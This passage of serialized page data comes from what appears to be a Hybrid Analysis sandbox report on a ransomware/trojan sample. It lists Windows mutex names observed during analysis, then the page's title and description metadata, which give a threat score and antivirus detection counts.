3.0.0.0_Perf_Library_Lock_PID_730","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\ServiceModelService 3.0.0.0_Perf_Library_Lock_PID_730","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SMSvcHost 3.0.0.0_Perf_Library_Lock_PID_730","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SMSvcHost 4.0.0.0_Perf_Library_Lock_PID_730","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Spooler_Perf_Library_Lock_PID_730","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\TapiSrv_Perf_Library_Lock_PID_730","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Tcpip_Perf_Library_Lock_PID_730","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\TermService_Perf_Library_Lock_PID_730","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\UGatherer_Perf_Library_Lock_PID_730","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\UGTHRSVC_Perf_Library_Lock_PID_730","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\usbhub_Perf_Library_Lock_PID_730","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Windows Workflow Foundation 3.0.0.0_Perf_Library_Lock_PID_730","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Windows Workflow Foundation 4.0.0.0_Perf_Library_Lock_PID_730","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\WmiApRpl_Perf_Library_Lock_PID_730","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\WSearchIdxPi_Perf_Library_Lock_PID_730","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\LOADPERF_MUTEX","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\Instance: ESENT Performance Data Schema Version 85","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\MSDTC_STATS_EVENT","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\OfficeSharedLocks_Heap_00_S-1-5-21-686412048-2446563785-1323799475-1001","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\OfficeSharedLocks_BootMutex_00_S-1-5-21-686412048-2446563785-1323799475-1001","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\RefreshRA_Mutex_Lib","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]},{"name":"Global\\CLR_PerfMon_WrapMutex","sources":[{"report_type":"sandbox","report_id":"6680eaffa26868caba0689dc"}]}]}},"report_ids":{"sandbox_job_ids":["6a9dff27eb5f87db9a04eb9b","6680eaffa26868caba0689dc"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious Ransom.Prometheus.2;Trojan.Uztuby.Generic Sample a8733ea13062… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample a8733ea13062…. Malware family: Ransom.Prometheus.2;Trojan.Uztuby.Generic. Threat score 100/100. 12/25 AV engines flagged this file. 23 malicious and 23 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1"}],["$","meta","4",{"property":"og:title","content":"Malicious Ransom.Prometheus.2;Trojan.Uztuby.Generic Sample a8733ea13062… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample a8733ea13062…. Malware family: Ransom.Prometheus.2;Trojan.Uztuby.Generic. Threat score 100/100. 12/25 AV engines flagged this file. 23 malicious and 23 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Ransom.Prometheus.2;Trojan.Uztuby.Generic Sample a8733ea13062… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample a8733ea13062…. Malware family: Ransom.Prometheus.2;Trojan.Uztuby.Generic. Threat score 100/100. 12/25 AV engines flagged this file. 23 malicious and 23 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L8b","11",{}]]